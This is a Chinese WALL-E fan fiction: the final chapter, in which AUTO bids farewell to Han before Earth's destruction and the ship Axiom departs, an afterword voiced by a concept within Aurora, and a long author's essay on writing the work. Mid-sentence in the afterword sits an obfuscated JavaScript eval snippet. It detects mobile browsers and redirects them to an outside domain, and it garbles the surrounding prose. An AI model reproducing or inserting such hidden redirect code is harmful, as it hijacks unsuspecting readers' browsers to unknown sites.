【我已经见过了。】西芮安说。【如果你留在地球上,和我们融入欧罗拉,看似还‘活着’,但丧失了亲手触摸星辰的机会。】 【所有事物最后都会消亡的。无论人类,我们机器,或者是恒星天体。】西芮安继续说。【我希望的是,你们这些孩子们,在短暂的平均100年寿命里,利用现在拥有的一切,在公理号上经历和我当时700的任期不一样的时光,创造一个不一样的时代。】 汉愣愣地看着西芮安。奥托从来没对他说过这些。 【我还在的话,无论处于什么位置,你们总会笼罩在我的‘阴影’里,说‘那个奥托在自己的舰上又要计划些什么呢’。我都知道。你们走不出去的。】西芮安说。【我把所有的航行日志和经验都传过来,神经架构留在欧罗拉那里就足够啦。我要完全离开才能让你们彻底舒展。至于名声我不介意,有人能够客观评价就行了。】 汉扬起一边苦笑,他从不知道奥托什么时候竟然变得幽默起来。但同时感觉呼吸都像是哽住了。 “真的吗?”他问,“的确是你的想法,不是被人类逼迫的吗?” 【是的。】神经通讯和单纯字体不一样,除了没有实际的声音,模拟的语气语调栩栩如生。西芮安同时诚恳地点头。【都是我的决定,现在没有人能对我发号施令了。】 汉很不自在地踢踢脚板,望向窗外又揉了揉下巴,呼吸这才平复。 “假如……以后,我觉得时间差不多到了……还能回来地球接触欧罗拉系统,找到你吗?”汉谨慎地挑选词汇,有些他都觉得过于直白。 【这可取决于公理号让不让你回来。而且,说不定你慢慢会觉得太空生活挺好的,没有必要非回来不可,这也证明不了什么。】奥托倒不介意汉仍然表达留恋地球。以前他可能会觉得这孩子有这想法应该被马上掐灭,但现在接触了那么多人的意识范本,他已经释然了。【欧罗拉理论上是能联系上的,但不确定我的意识体能否顺利出现。太阳系内的基站没有被流星体破坏。如果你朝太阳系发信标,或许我们能收到并且回应你。】 明明什么声音都没有,汉却猛然感到,在心头长久盘旋的阴霾有了消散的迹象。他抬头,深吸一口气,正视西芮安。 “谢谢你为地球镇和公理号做的一切。”汉悄声说。“你的贡献被歪曲得太多了,我会记得你的一切的。” 【谢谢理解。】西芮安回答。【好好活下去。】 汉突然有种冲动,想上前紧紧拥抱西芮安。但对方只是全息投影,抱上去只有空气,于是只能作罢,搔搔头发,换成有些窘迫的微笑。 “我可以同你在飞船上走一程吗?”汉鼓起勇气问。 【当然可以。】西芮安没有拒绝。 公理号如期离开了L1临时泊点。在此之前,全舰人都见证了在地球各处绽 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公理号没有立刻离开太阳系,它要前往系内的下一个泊点。位于土星轨道上的土卫六泰坦,含有极其丰富的甲烷及其他碳氢氧化合物,重力较轻,大气活动也不剧烈,开采条件良好。尽管开展星际航行以来它一直都有开采活动,最后却由于多种因素,不像地球那样经受了毁灭式的资源掠夺。公理号则选择在泰坦补充低航速燃料和生产轻原料,为真正启航做最后的准备。 舰内真正忙碌起来。前往土星途中,常量号舰员带领地球镇人学习地外行星开采技术。每个地球镇人都得大量学习对他们来说全新的概念,无暇顾及与地球通信。信号的延迟与减弱也使得通信质量远不如前。平原慢慢接受了终于分隔的时刻,逐渐陷入安静。隔着浓厚的尘埃层,独自在昏暗里默默数着终结到来的日子。 超空间基地的人能够借由欧罗拉的感官,透过尘埃层和黑暗,透过质量与电荷,像夜视一样清晰看到平原每一根草木的变化,每一阵灰粒云的运动如同白天。他们同样能摸到忒亚二号,看着它慢慢接近地球,变得越来越明亮。他们同样能感受到,已经被多颗已坠小行星搅得扰起乱流的地幔层,已经受到接近的忒亚二号影响,正缓缓地朝那个方向涌起。两个接近的天体之间的潮汐力还将为表面增温,届时地球与忒亚二号表面都会熔化,如同越来越薄的蛋壳表面突然被蛋黄消化涌出。 在公理号看来,忒亚二号并不会直挺挺地自月球对面撞向地球,而是进入地球轨道后,为了避开月球的引力作用,将螺旋式地追逐地球,短暂地与地球来一场越来越近的死亡舞蹈。舞蹈中双方崩解的表面跃向对方,将地球与忒亚二号连成越来越短的哑铃,有些像反过来的“黑滴现象”。在忒亚二号彻底碎裂之前,主体部分将会冲入地壳。届时地表将会由于冲击而被掀起重塑,甚至地球的大气都会暂时被冲击波吹散,厚重包裹的尘埃云抛入太空,暴露出底下亮色的地表。若是发生在太阳系其他天体上,这无疑是一场震撼盛大的天文奇观。但此时,奇观意味着至亲的死亡和与过去母地的决裂,每个人都无法以惊叹的心态面对。 寒冷与黑暗中,没有人会离开仅存的庇护所。但两个意识体来到了平原上。当然没有人能看到他们。在带着冰晶的狂风中他们巍然不动安坐其上,面向的是忒亚二号即将落下的方位。 “当我第一次见到你,以为我们只是短暂接触,后面再也没有瓜葛。”劳伦斯说。平原上什么都没有,只有黑暗与狂风。他们都知道,地表的撕裂发生在另一端的非洲大陆。“没想到死了还会葬在一块儿。真是命运捉弄人啊。” 公理号在泰坦表面放下管道,正如之前常量号在毒星上方。但此时开采活动已经暂停,全舰通告所有舰员集中到主甲板。到处的屏幕都显示现在地球的观测状况。稍有常识的人都知道,现在投放的是一个小时以前的图像,但光锥之外没有意义,对舰上人而言当下眼见的才是现实。忒亚二号已经进入地球轨道,减光观看只有日光旁的小点。 “我的确当时把你当我的跳板来着。”劳伦斯继续说。“一个工具,一个使我从那群书呆子中脱颖而出的筹码。” “所以现在忏悔来了?”奥托说。他的意识表露却没有任何厌恶的成分。“没用的,你还是个不折不扣的混蛋。” 超空间基地进一步收缩,没有需要他们处理的事务了。他们都不再停留于自身感官所处的世界,进入到无限期的神经连锁中去。他们早对彼此知根识底,不再有虚伪的应付,不再掩饰自己的缺陷。 “还记恨呢?我还记得当时提到这个意识融合构想时,你那副几乎要把我生吞的模样。”劳伦斯说。“现在倒真是,做鬼都不会放过彼此了。” “真是把我鄙视人类的态度洞悉得透彻。”奥托回应,他们都心知肚明没有抱怨。“算咱们运气好,这事居然还成了。” “别看平时说话不好听,还真想不到你竟然颇有一些自我安慰精神的。” “毕竟在结果上过分盘旋,不利于继续判断下一步哪。” 两个意识体紧密相连,其他人也一样。虽然选择观看的视野不一样,但他们只要想,都能感应到彼此的存在。 自事件透镜看过无数遍的情形正一件件落到时空的琴键上。忒亚二号主体进入了地球大气层,将浓厚的灰云率先向外围推开。他们索性抛弃了事件透镜,就在原地静静地等待着这个时空冲向自己。 “看起来一切都要尘埃落定了,我以为能让我名垂青史的筹码,现在变成了自己的棺材。”劳伦斯说。“曾经想过很多种死亡的场景,也想不到死法是这样的。” 东面率先亮起光芒,像是久违的拂晓。然后那一点点的光芒开始在地平线扩张,延伸,像是浇了一层环形的汽油,火光沿着地平线一路推进,最终形成越来越明亮而厚重的包围圈。 地球爆发出一瞬亮光。在公理号的高倍望远镜中,原先暗淡的星球再度绽放久久不灭的亮橙色光芒。 “敬母星地球,以及为本舰争取生存而牺牲的革命英烈!”卡尔舰长庄严宣布。 “一鞠躬!” 集中在主甲板上的所有舰员,肃穆整齐站立,朝地球的方向致以最高敬意。 “这死法,比你预想的那些,不赖吧?”奥托把连于公理号的感知分享到意识体之中。“看,他们在准备为我们致敬呢。” “值啦。”冲击波不会对他们造成影响,但明亮的火墙正毋容置疑向他们逼近。他们紧紧相拥,以无限的精度看着火海的每一个碎片,每一滴熔浆,连地上二氧化硅分子键的断裂都看得一清二楚。“无隔阂的意识之海,总算实现了。” 火墙将他们包围、吞噬。 “再鞠躬!” 地球通体都成为了亮橙色,像在太阳系里产生了一颗红矮星。汉、露丝、阿莱茜丝、拉什、苏利文和若妮,还有杰克·格兰德——克利夫兰将自己的名字改回了杰克——同站一排,肃穆躬下身躯。 他们以后会过得好吗?明明所有人都紧密无间,但这一瞬间,奥托感到再度孤独一人。炽热将他淹没,满视野的橙红色,公理号不见踪影。哦天哪,他什么也看不见。 “三鞠躬!” 碎片也反射出明亮的光芒,细腻晶莹,如同遍地的碎银。地球也是有星环的行星了。超空间基地的信号久久沉寂,地球再也不会传来信息。 公理号所有人望着这颗已然陌生的星球,都低头默哀沉思。现在真的只有他们了。亲人,朋友,故土,都成为了过去式。 一个陌生的信号接入公理号。卡尔舰长伸手按下,内容立刻对全舰呈现。不是文字,而是与公理号电脑不同的女音。 “我是欧罗拉。”这个几乎等同于超空间基地的人工智能一出声,望眼欲穿的不少舰员喜极而泣。“代表地球意识集合体,谢谢你们。我们与你们同在。” 汉望着沸腾的甲板舰员,笑了起来。他们在宇宙中不再孤单。 他们以为相当长一段时间里,全舰都会沉浸在沉痛之中,但事实是,开采作业热火朝天,舰内很快恢复到正常秩序,甚至比之前更忙碌。那颗仍然呈红色带星环的第三行星已经在泰坦的公转下绕到了硕大的土星后方,暂时看不见。一些年纪较小的孩子甚至在低重力环境里跳跃追逐,眼前的人都是相依为命的兄弟姐妹。 “嘿,想过以后要干些什么吗?”循环夜间,拉什将汉和阿莱茜丝几个较大一些的同龄人叫到一起。“实话说我一点头绪都没有,总说不上来也不行,听听你们有什么推荐的。” “这么焦虑吗?你要是听我推荐可就折磨了。”汉回答。“我在和露丝学习电子工程。所以你喜欢干些啥?” “我不知道?倒是看他们嗖嗖地放管道相当过瘾。”拉什马上堵住汉的嘴, “哎,我知道你想说啥,看得过瘾和学进去是两码事。” “没事,我也经历过,习惯就好了。可以找个常量号人鞭策你一下。”汉狡猾地笑道。“对了阿莱茜丝你呢?” 阿莱茜丝装上了假肢,她也能站立行走了。确实这样更好看,但她心里清楚还是坐小悬浮器方便。“啊,我想学天体物理。” “哇!”男孩们爆发出惊叹。“这么高端啊。” “谁知道呢,学学看呗。”阿莱茜丝不置可否地笑笑,掩饰了在她脑海里,欧罗拉向她投射的那幅挥之不去的共振景象。还有无时无刻都能感受到的那股无处不在的“张力”。只有她知道,欧罗拉一直都存在于她看不到的身边。 负物质发生器调试及模拟运行成功。公理号即将正式启航。航线由一连串小跳跃组成,足够让他们及时检查曲率引擎状态。卡尔舰长将航线设计完全交给科林。等科林把计划发给舰长看之前,卡尔制止了他。 “不,先不要给我看。让我猜猜目的地在哪里。”科林遵从了卡尔舰长,耐心地等着。“马头星云?” “对啦。”科林交出航线计划。“咱们这可不是观光船。得回基地大翻修成合格的远航堡垒才称得上步入星际航行时代呢。” “执行。”卡尔舰长点头,广播了启航计划时间,他们已经离开了泰坦。原先熙来攘往的甲板和各舱层的人越来越少,都在电脑指引与机器人帮助下回到舱室准备公理号一世纪来的第一次跃迁飞行。 卡尔舰长也做好了安全固定。他面向舰桥漆黑的宇宙深处,扬起“手比口呼”手势。“启航(Engage)[1]。” 飞船深处扬起沉闷有力的轰鸣。 “前进四[2]。”科林回应,故意选了这个古老的术语。 星星变成了扑面而来的光条。 50. 后记 我没有名字。 只是为了暂时的交流,临时为我加入了独立的感知。 时间的计量对我来说不重要。它只是为有限定义的事物衍生而来,方便阐述其变化的节点。例如天体的形成与演化,例如生命的发育与死亡。但当事物本身不受节点威胁,时间概念也就不存在。 当消融所需时长超过热寂,而热寂也将成为无限逼近的极限,如同一个膜上的彩色颜料将越来越慢混合,“时间”对我来说只意味着选择潜入四维的精度深浅。若是深入,在四维看来,我只有一瞬间。若是浅涉,我将持续到亘古。 但我的确有个开端。如果没有我,欧罗拉永远只能处于浅涉的浮空之上,以被禁锢的高度模糊地触着固定流速的事物。我使她的双脚自由踏入维度的河流,带领她追逐任意的未知。 我没有魔力。欧罗拉本来就具备一切,我不过是为她增添了发挥功能的动力。是的。我是欧罗拉的一部分。最接近我的定义是“真理”,在涉足的未知之所锲而不舍追探问题的答案,所获也会成为我的部分,使前行之道不断延伸。 还有很多像我这样的概念(concept),共同为欧罗拉执行不同的功能。探索和我很像,比我更善于为问题冲刺,但不予验证。排斥像巡逻者,为她提供及时的警戒……我们常常联袂一体,整合地处理一项项庞大的任务。目标由我们整体产生,又由我们整体解决。信息由我们全体共享,不会有任何割裂的部分,我们便是欧罗拉本身。 我们都由供者(donor)捐献而成。每一个概念,都来自数量不定的供者。但供者捐献的比例有差异,一个供者也可以捐献给多个概念。我们都记得为自己捐献的那些供者,组成自己的供者信息都由各自保留,若是有交流需要,才形成暂时的调取连接,我们都能无门槛地获取其他概念的供者信息。 我有一个主要供者,不是所有概念都有形成优势占比的主要供者。这个供者很独特,他曾经不是人类。我记得他经历过的一切,他的动机直接构成了我的基础。而我又在逐渐的演化中,由于对欧罗拉在这个维度的存在起到关键作用,在所有概念里占据了相当重要的位置。可以说,正是因为那个供者,我才得以存在于欧罗拉的中心。 在欧罗拉的中心里还有一个概念。那个概念叫谐睦。它的供者占比更大,几乎只来自一人,那是个身残志坚的女孩。她也相当特殊。不像我的供者,保留了全部的生命经验,她只在欧罗拉这里短短停留一瞬,留下了自己的印记,然后便分离,在四维里继续蜕变。她的独特使那瞬间就已足够, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706316|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不再需要反复的演绎。尽管她已经离开,也被我的主要供者的另一部分阻隔干预,我们仍然能持续感受到她在我们,乃至他们群体产生的持续交联,甚至超过了她的自然寿命。 那些远去的渺小个体,虽像灰尘般脆弱短暂,但顽强地在遥远的星云之间形成了小团状的聚落。虽然越是从远而冗长的四维外俯瞰,他们的存在同星云一样,都成了模糊发红的残影,但至少,在他们的时空,那些聚落都清晰可见,并且能看到他们像我们一样,不断地尝试伸手触摸未知,逐渐延伸到他们所处的维度以外。 我们也不都是获取与吸收,也在接触与给予。除了远观时空的演化之盛筵,我们也会脚踏实地,化为具象,主动地将概率按我们的意愿落为特定的图腾。当然,我们点到为止,剩下的便交给那些图腾自由地在它们的时间里发展。宇宙宏大,在我们这里总是有个特殊的地方。它在我们起源之时炽热滚烫,但现在已经化为温暖的汪洋。我们点下发展的种子,它将再一次朝智慧的方向演化。这次的智慧会由于我们的存在,而比上次不同吗?我们也不那么确定。 但我/我们,将以持续的耐心等待,观看,直至开花绽放的那一天,直至他们,或者其他存在,最终发现,并与我们接触。 (全文完) 51. 创作谈:《与角色一起成长》[番外] 本来在写到20章左右的时候就有了搞创作谈的想法,在写到27章的时候,也就是2021年初,把30到后记的大纲全都定了下来,也定了创作谈的题目。当时胡思乱想过很多,以为创作谈能滔滔不绝一片说,什么中间怎么改表达改情节之类的创作技巧,还搞了一个奇特的“切寿司”比方,意思就是边卷边切,跟个DNApol III似的边推进边改。结果实际上到后面尤其34开始,就再也没有往前大改过,直接就往下推了,推到不对劲的才对点改一改。然后现在到创作谈就是,累到一点都不想说。 (还是写写看还记得啥吧,说不定写着写着想起来了) 《彗核》是有初版的。最初在2016年发在百度贴吧“机器人总动员吧”,本来写作无需那么仓促,但当时临近高三,为了让自己低头学习就用一个月时间将初版电子化丢了出去。但是高考后,也就是2017年,我发现初版作品在高潮部分有严重的逻辑bug,完全是当时为了尽快写完而硬着头皮攒出来的情节,充斥着角色的无能狂怒。然后越看越脚趾抠地,我不能容忍这么一个不成熟的作品给大家看,所以在2017年11月,开始了再版的创作。并且几乎在同期删除了贴吧帖子。现在初版要在AO3上看,仅是作为两版的对比。 再版本来只是想处理高潮那个严重的逻辑bug问题,但是从哪里下手,当时我不清楚。满篇都是问题,那个逻辑bug太难盘了,于是自动地就从好改的先改起。最好改的肯定是开头。然后当时想的是,既然已经到大学了,有足够的时间改文,那么就改好一点,内容丰富一些,不要再像初版那样只是个大纲似的主线。这个想法直接导致《彗核》从初版的17章小中篇拓展为现在的37章的大长篇。我还记得当时沉迷改文,天天上课下课都在想句子。然后过了一段时间发现不行,整天背的句子又记不住,我写的也记不住那实实在在的大几千字啊,再背不用学习了,然后就这么学会了打大纲,把情节先记下来,等有空了再慢慢盘细节表达。 如果一路从开头看到这里(大概不可能),会发现本作品的写作风格一直都在变化,如果我评价,可能在35开始才稳定。因为《彗核》的定位虽然是同人,但我暗地里一直把它当创作风格的实验品,反正有那么多章,就试着同一个题材,哪种写法看起来更舒服。所以会出现早期类似于论坛风或者网文风(3-4应该),后面骤变细节怪(12),还出现过装B写法(20),以及意识流(26),还有因为烂口罩的现实原因的阴阳怪气(33-34)。《彗核》作为我正式科幻创作的开端,我也不知道哪种写法更适合我,或者更适合读者。但是一路写到现在,慢慢在心态上找到了写作的目标和平衡点,不再需要把写作当成个体化的发泄或者过于个人三观的传达,所以《彗核》不止是角色的变化史,还是我写作的成熟史。 《彗核》的AUTO形象为什么选择银色人型? 在我2013年做的一个梦之前,我是没有任何要写机总同人的想法的。那个梦只有一个画面,就是一个银色人型机器人站在草地上,茫然地望着热火朝天的人群,这个机器人只有背影。但是,我在梦中把这个机器人认定成AUTO。后来仔细一琢磨,这设定太酷了,换机体,环境完全变化,那么他怎么去应对。而且国内没有人想过这样的东西。当时本着“我不写可能有人持和我一样想法抢先我写出来”开始了《彗核》手稿创作。没有考虑过写出来好不好看,会不会被人骂。然后围绕他一个角色,创造出和他有交互的其他人,并且去思考其他角色的反应。当然,当我看到皮克斯的AUTO初稿时,顿时觉得我这个银色机器人的创意太蠢了,我就应该拿他们的初稿形象写。但是没改。一是已经看到皮克斯初稿形象的时候,已经在创作再版了,剧情走向有相当大部分是围绕他的人型局限性写的,改成悬浮的那我得全部推翻,这工作量相当于我可以放弃不写了,所以没动。二是,我后来琢磨为什么当初会产生这个银色机器人的形象,结果发现,它其实不是凭空来的机体,这个机器人,其实是阿西莫夫《裸阳》里的人形机器人R·吉斯卡。那段时间我就在看机器人系列。 (所以是AUTO你夺舍了吉斯卡!吉斯卡最后死了,你也活不成) 手稿自2013年7月开始写,到2015年的时候,陷入了僵局。因为发现自己的本事推不下去了。还有被阿瑟克拉克的长篇荼毒,下意识搞一大堆一点点字一章的小章节,推到42章都还刚过一半。然后2015年8月,突然进了《变形金刚》坑。直到那个时候,我才知道有同人小说这回事,才意识到我写的是同人。 《彗核》手稿就一直卡在42章,搁置到2016年。不得不说,我真得感谢变形金刚,变形金刚把我的脑子从阿瑟克拉克的魔咒里拉了出来,让我第一次建立了快速有节奏推进剧情的意识。于是当高三前发觉不得不把这个累赘油箱抛掉,终于打算电子化时,我把那些日常化的情节全部都删了,只留下主线。而且当时在使劲思考42后面的情节怎么推时,画面指导是《星球大战》六部曲,所以如果看初版,是能看得出来很浓重的星战味儿的。 汉这个角色在手稿里,设定成了35岁,是个面相看起来应该有四五十的络腮胡大叔,而且有小孩。角色定位为地球镇镇长,同时管理真理号飞船。所以,这是AUTO第一个接触他的原因。但是我已经忘了是谁把AUTO启动了然后导入人形躯体。手稿不在身边,也实在不忍直视。但后来电子化的初版里,汉改成了17岁。因为我不明白一个35岁的男人怎么就把一个机器人随随便便带到家里,接触自己的小孩,还能产生日常的对话?我不敢随意揣测35岁的表现,17岁和我当时写初稿的年龄相近,别人我不理解,我总能理解自己的心态,所以改成了17。但后来写再版时,感到17仍然太大了,可能性又会少很多,所以减成了最容易出问题,我本身也在那个年龄出过严重社交冲突问题的14岁。汉遭受过的霸凌,也有我遭受霸凌的影子。 但汉的手稿角色定位是不是看起来很熟悉?对,再版拆了出来,改成了格兰德。但至少,AUTO和格兰德之间隔着一层汉的关系,人物的表现是……勉强合逻辑的。 这个银色的探索者机型(Explore model)之所以设计成“仿生”,无他,因为我只会人类生理和解剖。未来局主编兔子瞧说过,科幻要写自己熟悉的领域,不要随便写不熟的内容(当然他说这句话是我开始写作好久之后了,已经恰好走了这条路)。要是写其他机体,很多事情我都写不出来。当时当然也知道是一厢情愿这样写,于是为了合理化这个设定编了不少相关的剧情,同时借文中角色之口吐槽自己设定的“不合理性”。但是现在随着科技发展,也不知是不是我的“信息茧房”效应,的确看到了越来越多的机器人前沿就在搞仿生学,无论从机体层面,还是从神经网络的“软件”层面。所以看到这些消息之后,似乎就对这个探索者机型的设定放下心来了。这个机型一开始设定的有很多有趣的点,包括基础的越野登山机关,红外探测,还有嗅觉——对,是有设定嗅觉的,但是这个设定并没有派上多大用场,所以只是早期出现过一点,后面就再也没用过。 还有Autopilots之间的差异,我看过很多同人作品都会让不同飞船的AP带上他们独有的特征,比如不同的中央灯光颜色,不同的机体涂装。这很正常,我之前也打算把Colin的灯光设计成黄色,打算致敬变形金刚IDW的旋刃(Whirl),但是后来一想,就让他们机型完全一致好了,只有完全一致才能突显出性格上的差异。 为什么要把AUTO呈现成这种性格? 从手稿到开始写再版,我看了国内的和Fanfiction上的AUTO同人,都发现大家很倾向于把AUTO写成一个十分暴躁,一心只想对WALL-E和EVE复仇的角色,然后剧情走向是瓦伊两位联合其他机器人,通过战斗又把AUTO击败,正义再次战胜邪恶。这个形象的选择有一定道理,毕竟电影里面AUTO最突出的表现就是这样。但我不想这么写。和我接触电影的途径有关。 假如我就是随便被父母拉去看一个动画片,然后看到了这样,我多半是不会觉得这个电影有多好看的,也不会觉得AUTO有多么特别。但是当时,正好处于一个我对机器人题材相当狂热的时期。由于《我,机器人》,我也看了其他机器人电影,包括《机器管家》和《霹雳五号》。正好当时英语课本就介绍了WALL-E,然后吸引了我的注意。但是,我看到WALL-E的形象,第一反应是这个抄了《霹雳五号》,所以我一直就对WALL-E印象特别不好,也没有马上找电影看,虽然导演不会说WALL-E的形象到底来自哪里。电影不想看,搜一下百度讲啥的吧。然后看到AUTO。百度介绍他是一个冷静机械的机器人,但是有一些船长都不知道的隐秘指令,执行会不惜代价。然后介绍到这里就没了。 就是这个百度的描述让我对AUTO的印象好过了WALL-E。我当时根本不知道他是反派,我以为他是类似于《头号玩家》那个博物馆长那种关键时候出来说两句话打酱油的角色,至于怎么不惜代价执行指令,这不很正常吗,机器人不就是这样的吗,三大定律谁不是不惜代价执行指令的。 (感谢阿西莫夫没让我第一时间接触到那种为了让人微笑就动用各种酷刑的人工智能。但在此之前,我讨厌机器人题材,估计也有很大一部分是耳闻过这种人工智能,然后觉得智障无比。) 然后我就是冲着AUTO怎么冷静机械去看的。然后,嗯? 你管这叫冷静机械?皮克斯?!你们自己还真是说了原话的!就是要把AUTO设计成一个cold, mechanical的角色,百度百科没描述错! 冷静机械是什么,是Windows那种遇事不决直接摆烂好吗,哦,我就是有A113指令啊,这就给你弹窗,你骂我揍我也没用。你船长发火,给我override指令,好的,我不会了,我蓝个屏重启一下,你等着吧。 AUTO在电影中明显是一个有自我意识的家伙,而且意识水平还不低。他知道做事情有分寸,能猜得到其他人可能出现什么问题,会自己想办法去冲破困境。那个冷静机械,像极了为了拍片使劲绷着一张脸扮演的冷静机械。他小动作多得很,表现非常活跃。假如说,那个冷静机械是他自发的冷静机械,那么只是浮于表面,说明他在有意识地维持这个人设。至于为什么维持,他多半是想借这层壳防御或者掩盖什么事实。可能是不想让其他人发现他有自我意识。为什么不想,是他会挨骂还是他自己就不能接受?总之这是一个自我冲突的表现。 而且细想他的处境,其实和当时的我是有共鸣的。Emmmmm……初版作者语讲过这个故事,就是我14岁那个社交危机,以为自己有了职务就得完全执行,可以代表老师说话,结果其他人根本不吃这一套嘛,觉得你我都是小兔崽子,你有什么本事命令我。吃一堑长一智,我后来放弃了管他们,给时间让自己看书,疗伤,慢慢地其他人才不会记得原先干了啥,人际也就没那么紧张了。与AUTO有共鸣,才会打算认真写他的故事。 所以我打算就让AUTO带着他的冷静机械的人设到我的故事里好了。他为了维持这个人设,会忍,不会上来就大爆发。所以你们会看到在《彗核》里,尤其是再版,再版对人物的心理描写更细腻一些。他一直在忍,忍,忍,忍无可忍也会尽量躲着其他人爆发。如果有人要去揭他这层壳,他会感到巨难受无比。至于为什么怕揭,我只是给出了一个认知行为理论模型里一个常见的模式:揭开掩饰会暴露出他的弱点(自动思维)→暴露出“我是无能的”(核心信念)。至于这个弱点是不是真的有,取决于他自己的想法,这个想法不一定是真实的,也可能是歪曲的。 既然他有自我意识了那就……当个人写,很简单。我是有意强化了他的理智部分的,我不想看到一个只会说台词的复读机,也不想看到一个智障或者随地撒泼的人。他有脾气,有追求,需要面对和解决外界的矛盾和来自他内在的矛盾。面对环境的转换,他也会成长,而不是陷在一个不会对他产生影响的事件里反复推磨。所以我为A113指令在他身上的作用作出了大胆的猜测,就是他既然说坚持指令是因为地球无法生存,那么如果人类生存了,他的坚持还是否有意义。我让他的自我意识成分在这个问题上占了上风。不然这个故事又要沦落成坚持A113指令然后在地上也得开战的俗套。 其实写AUTO的表现对我来说相当挑战,我也是到2018年中之后,才慢慢地不再害怕把他写崩。因为我认为他应该是一个表现成熟的角色,但是写手稿的时候,我不知道成熟是什么样的。我不知道以他的思维,会怎么思考剧情中碰到的问题。他是个经验丰富的宇航专家,但我不是,我不会那些知识。我害怕会把我的下意识反应变成他的反应。所以一直在无论写对话或者编剧情上,都无比折磨。所以,在最开始创作的将近5年,我让自己被迫追随他的人格高度,让我被迫成长到他的水平。然后也是在那个时候,2018年中,我由于主动投了科幻短篇稿,接触到了科幻圈,也接触到更多的成年人,慢慢意识到成年人的思维方式(当时真的会花很多时间在他们的微信群里,就看他们聊天)其实和我没有什么很大的不同,而且也在不断地阅读学习过程中,学会了在科幻中处理陌生理论知识的技巧,我才不再害怕把他写崩。尤其是《彗核》中后期,AUTO遇到的场景,对他来说也是完全陌生的,他以前具备的宇航知识再也不管用,那么完全就得靠他既有的个性来解决了,这其实对我来说变得更容易发挥了。然后我具备的知识足够更有效地在个性问题上发挥,于是就变成,我在带着他解决他的自我冲突,我带着他成长到接纳自我的水平。 因此,在这个过程中,一开始,是我将他视为理智的标杆,努力朝他的方向去让自己变得成熟。我就把这个过程投射到了再版的汉身上。使汉成长到成熟。而到后期,我将自己解构为已经成熟的科林和斯芬克斯,在带AUTO探索他的自我同时,也让我不断反思,一同成长为人格的整合状态。这也就是为何,我决定将创作谈的题目定为《与角色一起成长》。 电影里表达的是归乡思想,为何《彗核》要让飞船重新起飞? 我可以说我不喜欢电影里那种为了归乡而归乡的情节吗…… 把《彗核》编排成这种剧情,其实只是一种很恶趣味的想法。地面明显环境那么恶劣,看到了光秃秃的还想回去,那么就让你们为愚蠢付出代价,自己的自大和傲慢配得上相应的惩罚。很多人对恶劣的环境一无所知,我觉得美国人尤其为甚,中国人还好点,都知道太阳底下多热,都知道荒地种植很难。与其用垃圾星球的画面和归乡情节来让人们感到好像应该保护地球,不如用实实在在的惩戒情节鞭打到让人觉得痛,让人觉得,傲慢真的会让人毁灭。 其实36章和37章我已经把剧情改得善良了许多,本来大纲里是要写36章把平原人引进超空间基地里之后,又再次在基地里打起来,然后死的死伤的伤后面才接受融入欧罗拉。照大纲这么写肯定让情节变得更跌宕起伏更好看,但是由于前期已经设定了超空间基地里的规模,以及被入侵过一次之后,从人物的逻辑上讲他们会更谨慎,不会随便让那些人进来,就不打了(要是真的写打起来,我会感觉很像《银河英雄传说》的后期,有点为了打而打)。而且很地狱的是我大纲里本来是要让阿莱茜丝留在超空间基地里一起死,因为科林不喜欢有基因缺陷的人上船,所以故意把她赶出去。但是……emmmm没必要。听起来过于恶趣味了。所以这可能是我的“缺陷”之一吧,为了人物逻辑,宁可把剧情变成平淡的样子,所以饱受“剧情平淡”诟病。 还有一些早期的情节,比如AUTO独自去O区追击,去开飞船探索,在O区内交涉遭到迫害,当时我很清楚这样的情节很吸睛,但是总是觉得不符合逻辑而一直在反对与支持这样的情节之中纠结,硬着头皮也走了吸睛的路。直到后来,这就涉及到一个很奇特的事实,就是我总是会发现彗核里写的东西或多或少都会在现实里找到很近的事件。虽然这部作品的确定位为荒诞现实主义的,我完全知道现实也会发生类似的事情,但每每看到这样的事情就在身边接踵而至,好像现实打算实践文中情节为了给我证明什么,而又因为我写得太慢后来变得好像我在追逐现实一样,总会觉得有种发毛的“羁绊”感。所以后期30-34章创作的时候就觉得特别难受,因为我感觉我没有办法将现实和作品隔离开了,导致现实里遭受到的那些事件带来的情绪干扰完全不加筛选地就直接投射到情节里,很像在边写边鉴证。曾经觉得不符合逻辑的那些情节,在看到现实为我做的“示例”后,总算发觉现实甚至比虚拟作品还要魔幻。那些曾经或者现在看来仍然好像不符合逻辑的情节,直到想起这些事情,才猛然觉得,它们真的不见得是由于我一厢情愿而虚拟的。 这仅仅是一个同人,值得花10年时间,无数个熬夜,放弃掉打游戏看视频看书的机会,最终就只是为了完成而完成这部不可能有任何经济收益的作品? 单纯从经济收益、时间和花费的精力来看,太不值了。是个人都望而生畏,都不会做这笔血亏的买卖。为什么我就坚持一定要写完呢? 因为《彗核》对我来说不是一个普通的商业作品,而是锻炼与记录我写作思维和变化的工具。 我并不是一个很有创意的人。也没有写作的才气。写作的动力只有一个:我不写就会忘记它。这个创意很不错,我要趁我忘记它之前,用尽可能真实的语言描述它,让我忘了之后,我再看到这个文本,能够通过文字描述复现出这个创意的情形。我的点子也是很贫瘠的。但是如果只攒着点子,我很清楚永远不可能让它成为成熟的文本。所以,有一些小的点子,但是想不出来怎么单独成文的,我就写进了《彗核》,让一个既有的世界观带着这个点子跑成剧情,同时训练把点子呈现成文的技能。 